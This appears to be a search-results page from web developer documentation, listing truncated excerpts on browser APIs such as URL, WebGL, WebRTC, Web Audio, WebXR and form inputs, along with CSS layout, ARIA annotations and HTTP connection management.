new uint8array(chunk)) else if ('function' === typeof chunk.valueof && chunk.valueof() !== chunk) this.transform(chunk.valueof(), controller) // hack else if ('tojson' in chunk) this.transform(json.stringify(chunk), controller) break case 'symbol': controller.error("cannot send a symbol as a chunk part") break case 'undefined': con...
...ot send a symbol as a chunk part") break case 'undefined': controller.error("cannot send undefined as a chunk part") default: controller.enqueue(this.textencoder.encode(string(chunk))) break }, flush() { /* do any destructor work here */ } } class anytou8stream extends transformstream { constructor() { super({...transformcontent, textencoder:
new textencoder()}) } } polyfilling textencoderstream and textdecoderstream note that this is deprecated by the native constructors. this is intended as a polyfill for unsupported platforms. const tes = { start(){this.encoder =
new textencoder()}, transform(chunk, controller) { controller.enqueue(this.encoder.encode(chunk)) } } let _jstes_wm =
new weakmap(); /* info holder */ class js...
...And 2 more matches
URL - Web APIs
the url interface is used to parse, construct, normalize, and encode urls. it works by providing properties which allow you to easily read and modify the components of a url. you normally create a
new url object by specifying the url as a string when calling its constructor, or by providing a relative url and a base url. you can then easily read the parsed components of the url or make changes to the url. if a browser doesn't yet support the url() constructor, you can access a url object using the window interface's window.url property. ...
... relative url and a base url. you can then easily read the parsed components of the url or make changes to the url. if a browser doesn't yet support the url() constructor, you can access a url object using the window interface's window.url property. be sure to check to see if any of your target browsers require this to be prefixed. note: this feature is available in web workers. constructor
new url() creates and returns a url object referencing the url specified using an absolute url string, or a relative url string and a base url string. properties hash a usvstring containing a '#' followed by the fragment identifier of the url. host a usvstring containing the domain (that is the hostname) followed by (if a port was specified) a ':' and the port of the url. hostname a usvstr...
...mstring containing a unique blob url, that is a url with blob: as its scheme, followed by an opaque string uniquely identifying the object in the browser. revokeobjecturl() revokes an object url previously created using url.createobjecturl(). usage notes the constructor takes a url parameter, and an optional base parameter to use as a base if the url parameter is a relative url: const url =
new url('../cats', 'http://www.example.com/dogs'); console.log(url.hostname); // "www.example.com" console.log(url.pathname); // "/cats" url properties can be set to construct the url: url.hash = 'tabby'; console.log(url.href); // "http://www.example.com/cats#tabby" urls are encoded according to the rules found in rfc 3986. for instance: url.pathname = 'démonstration.html'; console.log(url.hre...
...And 2 more matches
URLSearchParams() - Web APIs
the urlsearchparams() constructor creates and returns a
new urlsearchparams object. note: this feature is available in web workers. syntax var urlsearchparams =
new urlsearchparams(init); parameters init optional one of: a usvstring, which will be parsed from application/x-www-form-urlencoded format. a leading '?' character is ignored. a sequence of usvstring pairs, representing names/values. a record of usvstring keys and usvstring values. return value a urlsearchparams object instance. examples the following example shows how to create a urlsearchparams object from a url string. ...
...m application/x-www-form-urlencoded format. a leading '?' character is ignored. a sequence of usvstring pairs, representing names/values. a record of usvstring keys and usvstring values. return value a urlsearchparams object instance. examples the following example shows how to create a urlsearchparams object from a url string. ...
... character is ignored. a sequence of usvstring pairs, representing names/values. a record of usvstring keys and usvstring values. return value a urlsearchparams object instance. examples the following example shows how to create a urlsearchparams object from a url string. ...
...And 2 more matches
A basic 2D WebGL animation example - Web APIs
"glcanvas"); gl = glcanvas.getcontext("webgl"); const shaderset = [ { type: gl.vertex_shader, id: "vertex-shader" }, { type: gl.fragment_shader, id: "fragment-shader" } ]; shaderprogram = buildshaderprogram(shaderset); aspectratio = glcanvas.width/glcanvas.height; currentrotation = [0, 1]; currentscale = [1.0, aspectratio]; vertexarray =
new float32array([ -0.5, 0.5, 0.5, 0.5, 0.5, -0.5, -0.5, 0.5, 0.5, -0.5, -0.5, -0.5 ]); vertexbuffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, vertexbuffer); gl.bufferdata(gl.array_buffer, vertexarray, gl.static_draw); vertexnumcomponents = 2; vertexcount = vertexarray.length/vertexnumcomponents; currentangle = 0.0; rotationrate = 6; animatescene(); } afte...
...our context is not square. we're using a context that's 600 pixels wide and 460 tall. each of those dimensions is mapped to the range -1.0 to 1.0. since the two axes aren't the same length, if we don't adjust the values of one of the two axes, the square will get stretched out in one direction or the other. so we need to normalize these values. once the vertex array has been created, we create a
new gl buffer to contain them by calling gl.createbuffer(). we bind the standard webgl array buffer reference to that by calling gl.bindbuffer() and then copy the vertex data into the buffer using gl.bufferdata(). the usage hint gl.static_draw is specified, telling webgl that the data will be set only one time and never modified, but will be used repeatedly. this lets webgl consider any optimizations...
... then, for each shader in the specified list of shaders, we call a compileshader() function to compile it, passing into it the id and type of the shader function to build. each of those objects includes, as mentioned before, the id of the <script> element the shader code is found in and the type of shader it is. the compiled shader is attached to the shader program by passin...
...And 2 more matches
WebGL best practices - Web APIs
ites to paint, try to do it as a single drawarrays() or drawelements() call. it's common to use "degenerate triangles" if you need to draw discontinuous objects as a single drawarrays(triangle_strip) call. degenerate triangles are triangles with no area, therefore any triangle where more than one point is in the same exact location. these triangles are effectively skipped, which lets you start a
new triangle strip unattached to your previous one, without having to split into multiple draw calls. another important method for batching is texture atlasing, where multiple images are placed into a single texture, often like a checkerboard. since you need to split draw call batches to change textures, texture atlasing lets you combine more draw calls into fewer, bigger batches. shaders, programs...
... basis universal texture compression format/library basis universal solves several of the issues mentioned above. it offers a way to support all common compressed texture formats with a single compressed texture file, through a javascript library that efficiently converts formats at load time. it also adds additional compression that makes basis universal compressed texture files muc...
...ving the driver to waste time storing the data for later use. depth/stencil and/or multisampled attachments in particular are great candidates for invalidateframebuffer. ...
...And 2 more matches
A simple RTCDataChannel sample - Web APIs
connection when the user clicks the "connect" button, the connectpeers() method is called. we're going to break this up and look at it a bit at a time, for clarity. note: even though both ends of our connection will be on the same page, we're going to refer to the one that starts the connection as the "local" one, and to the other as the "remote" end. set up the local peer localconnection =
new rtcpeerconnection(); sendchannel = localconnection.createdatachannel("sendchannel"); sendchannel.onopen = handlesendchannelstatuschange; sendchannel.onclose = handlesendchannelstatuschange; the first step is to create the "local" end of the connection. this is the peer that will send out the connection request. the next step is to create the rtcdatachannel by calling rtcpeerconnection.created...
...s to create the rtcdatachannel by calling rtcpeerconnection.createdatachannel() and set up event listeners to monitor the channel so that we know when it's opened and closed (that is, when the channel is connected or disconnected within that peer connection). it's important to keep in mind that each end of the channel has its own rtcdatachannel object. set up the remote peer remoteconnection =
new rtcpeerconnection(); remoteconnection.ondatachannel = receivechannelcallback; the remote end is set up similarly, except that we don't need to explicitly create an rtcdatachannel ourselves, since we're going to be connected through the channel established above. instead, we set up a datachannel event handler; this will be called when the data channel is opened; this handler will receive an rtcda...
...el ourselves, since we're going to be connected through the channel established above. instead, we set up a datachannel event handler; this will be called when the data channel is opened; this handler will receive an rtcdatachannel object; you'll see this below. set up the ice candidates the next step is to set up each connection with ice candidate listeners; these will be called when there's a
new ice candidate to tell the other side about. note: in a real-world scenario in which the two peers aren't running in the same context, the process is a bit more involved; each side provides, one at a time, a suggested way to connect (for example, udp, udp with a relay, tcp, etc.) by calling rtcpeerconnection.addicecandidate(), and they go back and forth until agreement is reached. but here, we j...
...And 2 more matches
WebRTC API - Web APIs
cecandidate. rtcrtpsender manages the encoding and transmission of data for a mediastreamtrack on an rtcpeerconnection. rtcrtpreceiver manages the reception and decoding of data for a mediastreamtrack on an rtcpeerconnection. rtctrackevent the interface used to represent a track event, which indicates that an rtcrtpreceiver object was added to the rtcpeerconnection object, indicating that a
new incoming mediastreamtrack was created and added to the rtcpeerconnection. rtcsctptransport provides information which describes a stream control transmission protocol (sctp) transport and also provides a way to access the underlying datagram transport layer security (dtls) transport over which sctp packets for all of an rtcpeerconnection's data channels are sent and received. dictionaries ...
...ou can be notified before closing completes by watching for the closing event instead. closing the rtcdatachannel has transitioned to the closing state, indicating that it will be closed soon. you can detect the completion of the closing process by watching for the close event. connectionstatechange the connection's state, which can be accessed in connectionstate, has changed. datachannel a
new rtcdatachannel is available following the remote peer opening a
new data channel. this event's type is rtcdatachannelevent. error an rtcerrorevent indicating that an error occurred on the data channel. error an rtcerrorevent indicating that an error occurred on the rtcdtlstransport. this error will be either dtls-failure or fingerprint-failure. gatheringstatechange the rtcicetransport's gat...
...rror an rtcerrorevent indicating that an error occurred on the data channel. error an rtcerrorevent indicating that an error occurred on the rtcdtlstransport. this error will be either dtls-failure or fingerprint-failure. gatheringstatechange the rtcicetransport's gathering state has changed. icecandidate an rtcpeerconnectioniceevent which is sent whenever the local device has identified a
new ice candidate which needs to be added to the local peer by calling setlocaldescription(). icecandidateerror an rtcpeerconnectioniceerrorevent indicating that an error has occurred while gathering ice candidates. iceconnectionstatechange sent to an rtcpeerconnection when its ice connection's state—found in the iceconnectionstate property—changes. icegatheringstatechange sent to an rtcpee...
...And 2 more matches
Writing a WebSocket server in Java - Web APIs
java.net.socket getoutputstream() returns an output stream for this socket. outputstream method...
...write(byte[] b, int off, int len) writes len bytes from the specified byte array starting at offset off to this output stream. inputstream methods: read(byte[] b, int off, int len) reads up to len bytes of data from the input stream into an array of bytes. let us extend our example. inputstream in = client.getinputstream(); outputstream out = client.getoutputstream(); scanner s =
new scanner(in, "utf-8"); handshaking when a client connects to a server, it sends a get request to upgrade the connection to a websocket from a simple http request. this is known as handshaking. try { string data = s.usedelimiter("\\r\\n\\r\\n").next(); matcher get = pattern.compile("^get").matcher(data); creating the response is easier than understanding why you must do it in this wa...
...ed integer, the most significant bit must be 0) are the length. i can take 128 because the first bit is always 1. - 167, 225, 225 and 210 are the bytes of the key to decode. it changes every time. - the remaining encoded bytes are the message. ...
...And 2 more matches
Background audio processing using AudioWorklet - Web APIs
xpensive as audio processing. enter audioworklet. an audio context's audio worklet is a worklet which runs off the main thread, executing audio processing code added to it by calling the context's audioworklet.addmodule() method. calling addmodule() loads the specified javascript file, which should contain the implementation of the audio processor. with the processor registered, you can create a
new audioworkletnode which passes the audio through the processor's code when the node is linked into the chain of audio nodes along with any other audio nodes. the process of creating an audio processor using javascript, establishing it as an audio worklet processor, and then using that processor within a web audio application is the topic of this article. it's worth noting that because audio proc...
...udio worklet processor an audio worklet processor is a javascript module which consists of the following: a javascript class which defines the audio processor. this class extends the audioworkletprocessor class. the audio processor class must implement a process() method, which receives incoming audio data and writes back out the data as manipulated by the processor. the module installs the
new audio worklet processor class by calling registerprocessor(), specifying a name for the audio processor and the class that defines the processor. a single audio worklet processor module may define multiple processor classes, registering each of them with individual calls to registerprocessor(). as long as each has its own unique name, this will work just fine. it's also more efficient than load...
...io processor module to use by its name connect inputs to the audioworkletnode and its outputs to appropriate destinations (either other nodes or to the audiocontext object's destination property. to use an audio worklet processor, you can use code similar to the following: let audiocontext = null; async function createmyaudioprocessor() { if (!audiocontext) { try { audiocontext =
new audiocontext(); await audiocontext.resume(); await audiocontext.audioworklet.addmodule("module-url/module.js"); } catch(e) { return null; } } return
new audioworkletnode(audiocontext, "processor-name"); } this createmyaudioprocessor() function creates and returns a
new instance of audioworkletnode configured to use your audio processor. it also handles creating th...
...And 2 more matches
Using IIR filters - Web APIs
se values are calculated based on the lowpass filter specified in the filter characteristics of the web audio api specification. as this filter node gains more popularity we should be able to collate more coefficient values. using an iirfilter in an audio graph let's create our context and our filter node: const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx =
new audiocontext(); const iirfilter = audioctx.createiirfilter(feedforward, feedback); we need a sound source to play. we set this up using a custom function, playsoundnode(), which creates a buffer source from an existing audiobuffer, attaches it to the default destination, starts it playing, and returns it: function playsourcenode(audiocontext, audiobuffer) { const soundsource = audiocontext.
...'ve created with the data we get back from this method. we need to create three arrays. one of frequency values for which we want to receive the magnitude response and phase response for, and two empty arrays to receive the data. all three of these have to be of type float32array and all be of the same size. ...
... need to create three arrays. one of frequency values for which we want to receive the magnitude response and phase response for, and two empty arrays to receive the data. all three of these have to be of type float32array and all be of the same size. ...
...And 2 more matches
Attestation and Assertion - Web APIs
there are two different types of certificates used in webauthn for registration and authentication. they have similar names and similar purposes, but understanding the differences may be an initial point of confusion. the sections below describe attestation, which happens during registration, and assertion which happens during authentication. attestation when an authenticator registers a
new key pair with a service, the authenticator signs the public key with an attestation certificate. the attestation certificate is built into the authenticator during manufacturing time and is specific to a device model. that is, all "samsung galaxy s8" phones, manufactured at a specific time or particular manufacturing run, have the same attestation certificate. the attestation is returned thr...
...acturing run, have the same attestation certificate. the attestation is returned through the webauthn api as the authenticatorattestationresponse. the attestation format contains two basic arraybuffers: clientdatajson - an arraybuffer that contains a json representation of what the browser saw when being asked to authenticate. attestationobject - cryptographic attestation that a
newly generated keypair was created by that authenticator. contains authenticator data and an attestation statement. the authenticator data contains an attestedcredentialdata field. the attestedcredentialdata field contains the credentialid and credentialpublickey. (the authenticator data is the same structure that is used in the authenticatorassertionresponse. the attestedcredentialdata is an option...
... it should be noted that while attestation provides the capability for a root of trust, val...
...And 2 more matches
XRInputSourcesChangeEventInit.removed - Web APIs
the xrinputsourceschangeeventinit property removed is an array of zero or more xrinputsource objects, each representing one input source which has been removed from the xrsession. ...
... the xrinputsourceschangeeventinit property removed is an array of zero or more xrinputsource objects, each representing one input source which has been removed from the xrsession. ...
... the xrinputsourceschangeeventinit property removed is an array of zero or more xrinputsource objects, each representing one input source which has been removed from the xrsession. ...
...And 2 more matches
XRReferenceSpace: reset event - Web APIs
reference space. this is common when the user calibrates or recalibrates an xr device, or if the device automatically changes its origin after losing tracking of the user, then re-gaining it. in the case of xrboundedreferencespace objects, the reset event can also be fired when the boundsgeometry changes. in either case, the event is sent before any webxr animation frames which make use of the
new origin are executed. bubbles yes cancelable no interface xrreferencespaceevent event handler property onreset usage notes the reset event indicates that the coordinate system has been reset or reconfigured by changing the reference space's origin, moving and rotating it as indicated by the event's transform property. the event is sent befor...
...ate system, such as by requesting that the headset recalibrate itself to ensure that the facing direction and hand controllers are synchronized with the user's actual position and facing. this is primarily an issue for local or local-floor reference spaces. for a bounded-floor reference space, the coordinate system can be reset if the user exits the boundaries of the reference space and enters a
new one (such as by crossing from one level to another in a game, where each level is its own map with its own coordinate system). the tracking system has temporarily lost the user, then regained them, but not until after they had moved enough to leave the immediate vicinity of the last-known position. primarily an issue for unbounded reference spaces. the user is in an unbounded reference space an...
...em, but not until after they had moved enough to leave the immediate vicinity of the last-known position. primarily an issue for unbounded reference spaces. the user is in an unbounded reference space and has moved far enough from the starting position (the reference space's origin) that floating-point or other forms of error or drift are problematic. the coordinate system is thus reset with its
new origin at or near the user's current position. the webxr infrastructure or hardware drivers detected that the device had temporarily lost tracking, causing the hardware and software to be out of sync on position and orientation. note: a reset event will not occur if the reference space is able to regain tracking of its previous origin, since that means the origin has not been forced to be rel...
...And 2 more matches
XRSession.updateRenderState() - Web APIs
the specified object may have any combination of the following fields. baselayer optional an xrwebgllayer object from which the webxr compositor will obtain imagery. ...
... the specified object may have any combination of the following fields. baselayer optional an xrwebgllayer object from which the webxr compositor will obtain imagery. ...
...ult value is otherwise π * 0.5 (half of the value of pi). return value none. exceptions this method may throw any of the following exceptions. these are true exceptions, since this method does not return a promise. invalidstateerror this may occur for one of the following reasons: the xrsession has already ended, so you cannot change its render state. the baselayer specified in
newstate was created by an xrsession other than the one on which updaterenderstate() was called. the inlineverticalfieldofview property was set, but the session is immersive and therefore does not allow this property to be used. examples this example creates a webgl context that is compatible with an immersive xr device and then uses it to create an xrwebgllayer. updaterenderstate() is then ...
...And 2 more matches
XRWebGLLayerInit.depth - Web APIs
this means that the only source for depth information is the vertex coordinates, and reduces the accuracy and quality of rendering, but may potentially affect the performance of rendering as well. the default value is true. ...
...this means that the only source for depth information is the vertex coordinates, and reduces the accuracy and quality of rendering, but may potentially affect the performance of rendering as well. the default value is true. ...
...this means that the only source for depth information is the vertex coordinates, and reduces the accuracy and quality of rendering, but may potentially affect the performance of rendering as well. the default value is true. ...
...And 2 more matches
XRWebGLLayerInit.framebufferScaleFactor - Web APIs
for example, a value of 1.0 indicates that the frame buffer should be the same resolution as the actual display, while a value of 0.5 indicates that the frame buffer should be half the resolution of the display. a value of 2.0, on the other hand, creates a frame buffer whose resolution is double that of the actual display buffer. ...
...lid use cases for all of these kinds of scaling. see managing rendering quality in webxr performance guide for more information. you can determine the scaling factor that you would need to apply to match the default frame buffer resolution by using the xrwebgllayer.getnativeframebufferscalefactor() static function. ...
...ng rendering quality in webxr performance guide for more information. you can determine the scaling factor that you would need to apply to match the default frame buffer resolution by using the xrwebgllayer.getnativeframebufferscalefactor() static function. ...
...And 2 more matches
ARIA annotations - Accessibility
wai-aria version 1.3 sees the addition of a set of
new features, collectively known as aria annotations, which allow the creation of accessible annotations inside web documents. typical use cases include edit suggestions (i.e. an addition and/or deletion in an editable document), and comments (e.g. an editorial comment related to a part of a document under review). below we'll introduce the
new features associated with aria annotations, and have a look at some code examples that show them in action. note: you can find all the examples discussed in this article in a demo file at aria-annotations. ...
...ocument), and comments (e.g. an editorial comment related to a part of a document under review). below we'll introduce the
new features associated with aria annotations, and have a look at some code examples that show them in action. note: you can find all the examples discussed in this article in a demo file at aria-annotations. aria annotations features the aria attributes providing these
new abilities are as follows: aria-description="" — provides a detailed description of an html element, as opposed to the brief label provided by aria-label. role="insertion" and role="deletion" — semantically denote html elements whose contents represent an insertion to or deletion from the overall document. these are semantically equivalent to the html <ins> and <del> elements. note that th...
...: aria-description="" — provides a detailed description of an html element, as opposed to the brief label provided by aria-label. role="insertion" and role="deletion" — semantically denote html elements whose contents represent an insertion to or deletion from the overall document. these are semantically equivalent to the html <ins> and <del> elements. note that these aren’t part of the
new aria annotations features, but they are of central relevance. role="mark" — semantically denotes html elements containing text that is marked/highlighted for reference purposes. this is semantically equivalent to the html <mark> element. role="suggestion" — semantically denotes a single proposed change to an editable document. this should be used on an element that wraps a single insertion ...
...And 2 more matches
Variable fonts guide - CSS: Cascading Style Sheets
s: one for uprights and all their variations, and one containing the italic variations. this is sometimes done to reduce the overall file size in cases where the italics aren't needed or used. in all cases, it is still possible to link them with a common font-family name so you can call them using the same font-family and appropriate font-style. introducing the 'variation axis' the heart of the
new variable fonts format is the concept of an axis of variation describing the allowable range of that particular aspect of the typeface design. so the 'weight axis' describes how light or how bold the letterforms can be; the 'width axis' describes how narrow or how wide they can be; the 'italic axis' describes if italic letterforms are present and can be turned on or off accordingly, etc. note that...
..., there are two kinds of axes: registered and custom: registered axes are simply those that are most frequently encountered, and common enough that the authors of the specification felt it was worth standardizing. the five currently registered axes are weight, width, slant, italic, and optical size. the w3c has undertaken mapping them to existing css attributes, and in one case introduced a
new one, which you'll see below. custom axes are in fact limitless: the typeface designer can define and scope any axis they like, and are just required to give it a four-letter tag to identify it within the font file format itself. you can use these four-letter tags in css to specify a point along that axis of variation, as will be show in the code examples below. registered axes and exist...
...ered axes and existing css attributes in this section we'll demonstrate the five registered axes defined with examples and the corresponding css. where possible, both the standard and lower-level syntax are included. the lower-level syntax (font-variation-settings) was the first mechanism implemented in order to test the early implementations of variable font support, and is necessary to utilize
new or custom axes beyond the five registered ones. however, the w3c’s intent was for this syntax not to be used when other attributes are available. therefore wherever possible, the appropriate property should be used, with the lower-level syntax of font-variation-settings only being used to set values or axes not available otherwise. notes when using font-variation-settings it is important...
...And 2 more matches
Browser compatibility and Scroll Snap - CSS: Cascading Style Sheets
firefox initially implemented an early version of the scroll snap specification, called scroll snap points. in firefox 68 the
new version of the specification will be shipped and these old properties removed. in this article, we consider questions that might arise related to compatibility across browsers and versions of browsers when adding support for scroll-snap to your web site or app. what should i do if i used the old firefox implementation? if you have only used the old firefox implementation of the specification, with the properties that are detailed in scroll snap points, you should update your code to use the
new specification. this will ensure your scroll snapping works in all browsers which implement the specification, including firefox. if you do not do this your scroll snappi...
...tion alongside the current specification in order to make scroll snapping work in all browsers which support some form of scroll snapping. the example adds the scroll-snap-points-y and scroll-snap-destination properties, which are deprecated, to make scroll snapping work in firefox. ...
...wice, once with the y axis value needed for browsers that support the
new spec, and once for firefox pre-68, which supports the property but without the y value. do i need to use both specs? scroll snapping is one of those nice parts of css in which the fallback is that you don't get the enhanced functionality, but everything still works. i would suggest at this point you should implement the
new specification only, unless you have data to show a large number of users who would benefit from a fallback version. if you want to test using feature queries for support of the
new spec then we'd suggest testing for scroll-snap-align as this property did not exist in the old implementation. however, these properties shouldn't cause any problems to non-supporting browsers due to the way that brow...
...And 2 more matches
Column layouts - CSS: Cascading Style Sheets
ll often need to create a layout which has a number of columns, and css provides several ways to do this. whether you use grid, flexbox or multi-column layout will depend on what you are trying to achieve, and in this recipe we explore these options. requirements there are a number of design patterns you might want to achieve with your columns: a continuous thread of content broken up into
newspaper-style columns. a single row of items arranged as columns, with all heights being equal. multiple rows of columns lined up by row and column. the recipes you need to choose different layout methods in order to achieve your requirements. a continuous thread of content — multi-column layout if you create columns using multi-column layout your text will remain as a continuous stream fi...
...t will remain as a continuous stream filling each column in turn. the columns must all be the same size, and you are unable to target an individual column or the content of an individual column. you can control the gaps between columns with the column-gap property, and add a rule between columns using column-rule. ...
...ay in
newspaper-like columns. you have a set of small items you want to break into columns. you do not need to target individual column boxes for styling. a single row of items with equal heights — flexbox flexbox can be used to break content into columns by setting flex-direction to row, however flexbox targets the elements inside the flex container and will place each direct child into a
new column. this is a different behavior to what you saw with multicol. there is currently no way to add a rule between flex items, and browser support for the column-gap and row-gap properties is limited. therefore to create gaps between items use a margin. ...
...And 2 more matches
Event reference
d inside the browser <iframe> content changes. mozbrowserclose firefox os browser api-specific sent when window.close() is called within a browser <iframe>. mozbrowsercontextmenu firefox os browser api-specific sent when a browser <iframe> tries to open a context menu. mozbrowserdocumentfirstpaint firefox os browser api-specific sent when a
new paint occurs on any document in the browser <iframe>. mozbrowsererror firefox os browser api-specific sent when an error occurred while trying to load a content within a browser <iframe>. mozbrowserfindchange firefox os browser api-specific sent when a search operation is performed on the browser <iframe> content (see htmliframeelement search methods.) ...
... <iframe> changes. mozbrowserlocationchange firefox os browser api-specific sent when a browser <iframe>'s location changes. mozbrowserloadend firefox os browser api-specific sent when the browser <iframe> has finished loading all its assets. mozbrowserloadstart firefox os browser api-specific sent when the browser <iframe> starts to load a
new page. mozbrowsermanifestchange firefox os browser api-specific sent when the path to the app manifest changes, in the case of a browser <iframe> with an open web app embedded in it. mozbrowsermetachange firefox os browser api-specific sent when a <meta> element is added to, removed from, or changed in the browser <iframe>'s content. mozbrowseropensea...
...open web app embedded in it. mozbrowsermetachange firefox os browser api-specific sent when a <meta> element is added to, removed from, or changed in the browser <iframe>'s content. mozbrowseropensearch firefox os browser api-specific sent when a link to a search engine is found. mozbrowseropentab firefox os browser api-specific sent when a
new tab is opened within a browser <iframe> as a result of the user issuing a command to open a link target in a
new tab (for example ctrl/cmd + click.) mozbrowseropenwindow firefox os browser api-specific sent when window.open() is called within a browser iframe. mozbrowserresize firefox os browser api-specific sent when the browser <iframe>'s window size has ch...
...And 2 more matches
Getting Started - Developer guides
et explorer as an activex object called xmlhttp. then, mozilla, safari, and other browsers followed, implementing an xmlhttprequest object that supported the methods and properties of microsoft's original activex object. meanwhile, microsoft implemented xmlhttprequest as well. // old compatibility code, no longer needed. if (window.xmlhttprequest) { // mozilla, safari, ie7+ ... httprequest =
new xmlhttprequest(); } else if (window.activexobject) { // ie 6 and older httprequest =
new activexobject("microsoft.xmlhttp"); } note: for illustration purposes, the above is a somewhat simplified version of the code to be used for creating an xmlhttp instance. for a more realistic example, see step 3 of this article. after making a request, you will receive a response back. at this stage, y...
...ts of the response. note that this example uses vanilla javascript — no jquery is involved. also, the html, xml and php files should be placed in the same directory. ...
..._encode($array); for more on dom methods, be sure to check out document object model (dom). ...
...And 2 more matches
Creating and triggering events - Developer guides
elem.addeventlistener('build', function (e) { /* ... */ }, false); // dispatch the event. elem.dispatchevent(event); the above code example uses the eventtarget.dispatchevent() method. ...
...ost modern browsers (with internet explorer being the exception). for a more verbose approach (which works with internet explorer), see the old-fashioned way below. adding custom data – customevent() to add more data to the event object, the customevent interface exists and the detail property can be used to pass custom data. for example, the event could be created as follows: const event =
new customevent('build', { detail: elem.dataset.time }); this will then allow you to access the additional data in the event listener: function eventhandler(e) { console.log('the time is: ' + e.detail); } the old-fashioned way the older approach to creating events uses apis inspired by java. the following shows an example with document.createevent(): // create the event. const event = documen...
...target matches elem }, false); // target can be any element or other eventtarget. ...
...And 2 more matches
<input type="date"> - HTML: Hypertext Markup Language
rrent year (see the code comments below for detailed explanations of how these functions work.) span { padding-left: 5px; } input:invalid + span::after { content: '✖'; } input:valid + span::after { content: '✓'; } javascript the other part of the code that may be of interest is the feature detection code — to detect whether the browser supports <input type="date">. we create a
new <input> element, try setting its type to date, then immediately check what its type is — unsupporting browsers will return text, because the date type falls back to type text. if <input type="date"> isn't supported, we hide the native picker and show the fallback (<select>) instead. // define variables var nativepicker = document.queryselector('.nativedatepicker'); var fallbackpicker = documen...
...allbackpicker = document.queryselector('.fallbackdatepicker'); var fallbacklabel = document.queryselector('.fallbacklabel'); var yearselect = document.queryselector('#year'); var monthselect = document.queryselector('#month'); var dayselect = document.queryselector('#day'); // hide fallback initially fallbackpicker.style.display = 'none'; fallbacklabel.style.display = 'none'; // test whether a
new date input falls back to a text input or not var test = document.createelement('input'); try { test.type = 'date'; } catch (e) { console.log(e.description); } // if it does, run the code inside the if() {} block if(test.type === 'text') { // hide the native picker and show the fallback nativepicker.style.display = 'none'; fallbackpicker.style.display = 'block'; fallbacklabel.style.d...
... if(month === 'january' | month === 'march' | month === 'may' | month === 'july' | month === 'august' | month === 'october' | month === 'december') { daynum = 31; } else if(month === 'april' | month === 'june' | month === 'september' | month === 'november') { daynum = 30; } else { // if month is february, calculate whether...
...And 2 more matches
<input type="datetime-local"> - HTML: Hypertext Markup Language
browsers that don't support datetime-local return text, since that's what datetime-local falls back to. if <input type="datetime-local"> is not supported, we hide the native picker and show the fallback picker ui (<select>) instead. // define variables var nativepicker = document.queryselecto...
...r('.fallbacklabel'); var yearselect = document.queryselector('#year'); var monthselect = document.queryselector('#month'); var dayselect = document.queryselector('#day'); var hourselect = document.queryselector('#hour'); var minuteselect = document.queryselector('#minute'); // hide fallback initially fallbackpicker.style.display = 'none'; fallbacklabel.style.display = 'none'; // test whether a
new datetime-local input falls back to a text input or not var test = document.createelement('input'); try { test.type = 'datetime-local'; } catch (e) { console.log(e.description); } // if it does, run the code inside the if() {} block if(test.type === 'text') { // hide the native picker and show the fallback nativepicker.style.display = 'none'; fallbackpicker.style.display = 'block'; f...
... if(month === 'january' || month === 'march' || month === 'may' || month === 'july' || month === 'august' || month === 'october' || month === 'december') { daynum = 31; } else if(month === 'april' || month === 'june' || month === 'september' || month === 'november') { daynum = 30; } else { // if month is february, calculat...
...And 2 more matches
<input type="password"> - HTML: Hypertext Markup Language
bel> <input id="userpassword" type="password"> allowing autocomplete to allow the user's password manager to automatically enter the password, specify the autocomplete attribute. for passwords, this should typically be one of the following: on allow the browser or a password manager to automatically fill out the password field. this isn't as informative as using either current-password or
new-password. off don't allow the browser or password manager to automatically fill out the password field. note that some software ignores this value, since it's typically harmful to users' ability to maintain safe password practices. current-password allow the browser or password manager to enter the current password for the site. this provides more information than on does, since it lets the b...
...e software ignores this value, since it's typically harmful to users' ability to maintain safe password practices. current-password allow the browser or password manager to enter the current password for the site. ...
... ignores this value, since it's typically harmful to users' ability to maintain safe password practices. current-password allow the browser or password manager to enter the current password for the site. this provides more information than on does, since it lets the browser or password manager automatically enter currently-known password for the site in the field, but not to suggest a
new one. ...
...And 2 more matches
<kbd>: The Keyboard Input element - HTML: Hypertext Markup Language
mand".</p> representing keystrokes within an input to describe an input comprised of multiple keystrokes, you can nest multiple <kbd> elements, with an outer <kbd> element representing the overall input and each individual keystroke or component of the input enclosed within its own <kbd>. unstyled first, let's look at what this looks like as just plain html. html <p>you can also create a
new document using the keyboard shortcut <kbd><kbd>ctrl</kbd>+<kbd>n</kbd></kbd>.</p> this wraps the entire key sequence in an outer <kbd> element, then each individual key within its own, in order to denote the components of the sequence. note: you don't need to do all this wrapping; you can choose to simplify it by leaving out the external <kbd> element. in other words, simplifying this to just ...
... simplify it by leaving out the external <kbd> element. in other words, simplifying this to just <kbd>ctrl</kbd>+<kbd>n</kbd> would be perfectly valid. depending on your style sheet, though, you may find it useful to do this kind of nesting. ...
...t a style sheet applied: with custom styles we can make more sense of this by adding some css: css we add a
new style for <kbd> elements, key, which we can apply when rendering keyboard keys: kbd.key { border-radius: 3px; padding: 1px 2px 0; border: 1px solid black; } html then we update the html to use this class on the keys in the output to be presented: <p>you can also create a
new document by pressing <kbd><kbd class="key">ctrl</kbd>+<kbd class="key">n</kbd></kbd>.</p> result the result is just what we want! echoed input nesting a <kbd> element inside a <samp> element represents input that has been echoed back to the user by the system. <p>if a syntax error occurs, the tool will output the initial command you typed for your review:</p> <blockquote> <samp><kbd>cust...
...And 2 more matches
Connection management in HTTP/1.x - HTTP
ns largely impacts the performance of web sites and web applications. in http/1.x, there are several models: short-lived connections, persistent connections, and http pipelining. http mostly relies on tcp for its transport protocol, providing a connection between the client and the server. in its infancy, http used a single model to handle such connections. these connections were short-lived: a
new one created each time a request needed sending, and closed once the answer had been received. this simple model held an innate limitation on performance: opening each tcp connection is a resource-consuming operation. several messages must be exchanged between the client and the server. network latency and bandwidth affect performance when a request needs sending. modern web pages require many re...
... held an innate limitation on performance: opening each tcp connection is a resource-consuming operation. several messages must be exchanged between the client and the server. network latency and bandwidth affect performance when a request needs sending. modern web pages require many requests (a dozen or more) to serve the amount of information needed, proving this earlier model inefficient. two
newer models were created in http/1.1. the persistent-connection model keeps connections opened between successive requests, reducing the time needed to open
new connections. the http pipelining model goes one step further, by sending several successive requests without even waiting for an answer, reducing much of the latency in the network. http/2 adds additional models for connection management...
...n connection; this means a tcp handshake happens before each http request, and these are serialized. the tcp handshake itself is time-consuming, but a tcp connection adapts to its load, becoming more efficient with more sustained (or warm) connections. short-lived connections do not make use of this efficiency feature of tcp, and performance degrades from optimum by persisting to transmit over a
